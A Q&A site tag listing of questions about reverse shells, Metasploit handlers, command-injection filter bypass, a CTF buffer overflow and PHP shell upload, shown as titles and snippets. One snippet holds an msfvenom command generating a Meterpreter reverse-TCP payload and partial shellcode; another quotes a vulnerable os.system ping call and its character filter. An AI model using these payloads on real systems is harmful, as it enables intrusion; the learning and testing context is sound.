Questions tagged [reverse-shell]

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3
votes
1answer
132 views

How to detect backdoor/root shells?

Let's assume I'm a user with root access to a machine and I'm a legit user. My machine/server runs Linux. I'm not very familiar with defensive security (I mainly practice offensive). Sometimes, ...
0
votes
1answer
94 views

Metasploit - Does the multi handler sends the payload, or just listens for connection

Does the metasploit module: exploit/multi/handler sends payloads to stagers? Or does it just listens for an incoming connection like a netcat listener? Or does it do both, as needed?
0
votes
1answer
93 views

Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
2
votes
0answers
56 views

Reverse TCP - Bind to a specific port

So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
0
votes
1answer
204 views

Command injection — filtering bypass [closed]

I am testing a python script that provides a ping function os.system('ping ' + command) all of this characters are filtered '&', ';', '-', '`' , '||', '|' i can't use null bytes like %0A i'...
1
vote
2answers
81 views

Metasploit multi handler reverse tcp connection

Can we listen for 10 connections at once using any options present in Metasploit.
0
votes
2answers
113 views

Unable to execute PHP, throws 500 error. Able to upload and execute all others

I managed to upload a PHP shell using an upload form with some tweaking. No such restrictions except it renames the uploaded file to md5. But when I tried to execute the shell, It shows a 500 error. I ...